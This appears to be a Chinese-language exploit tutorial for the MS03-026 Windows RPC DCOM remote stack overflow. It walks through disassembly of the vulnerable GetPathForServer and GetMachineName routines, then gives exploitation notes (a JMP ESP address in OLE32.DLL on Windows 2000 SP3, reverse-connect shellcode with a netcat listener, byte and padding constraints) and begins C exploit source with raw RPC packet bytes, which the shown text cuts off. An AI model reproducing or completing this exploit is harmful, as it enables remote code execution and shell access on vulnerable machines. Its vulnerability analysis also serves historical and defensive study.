LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。
导致问题的调用如下：
hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi);
这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。
在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了：
问题代码如下：
GetPathForServer：
.text:761543DA push ebp
.text:761543DB mov ebp, esp
.text:761543DD sub esp, 20h <-----0x20空间
.text:761543E0 mov eax, [ebp+arg_4]
.text:761543E3 push ebx
.text:761543E4 push esi
.text:761543E5 mov esi, [ebp+hMem]
.text:761543E8 push edi
.text:761543E9 push 5Ch
.text:761543EB pop ebx
.text:761543EC mov [eax], esi
.text:761543EE cmp [esi], bx
.text:761543F1 mov edi, esi
.text:761543F3 jnz loc_761544BF
.text:761543F9 cmp [esi+2], bx
.text:761543FD jnz loc_761544BF
.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20
.text:76154406 push 0
.text:76154408 push eax
.text:76154409 push esi 〈----------------------我们传入的文件名参数
.text:7615440A call GetMachineName
。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效
GetMachineName:
.text:7614DB6F mov eax, [ebp+arg_0]
.text:7614DB72 mov ecx, [ebp+arg_4]
.text:7614DB75 lea edx, [eax+4]
.text:7614DB78 mov ax, [eax+4]
.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C
.text:7614DB80 jz short loc_7614DB93
.text:7614DB82 sub edx, ecx
.text:7614DB84
.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j
.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出
.text:7614DB87 inc ecx
.text:7614DB88 inc ecx
.text:7614DB89 mov ax, [ecx+edx]
.text:7614DB8D cmp ax, 5Ch
.text:7614DB91 jnz short loc_7614DB84
.text:7614DB93
OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。
下面就给出一个实现的代码，注意点如下：
1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候
需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。
2。这里使用了反向连接的SHELLCODE，需要先运行NC
3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么
计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。
4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。
5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。
#include <stdio.h
#include <winsock2.h
#include <windows.h
#include <process.h
#include <string.h
#include <winbase.h
unsigned char bindstr[]={
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0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
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0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
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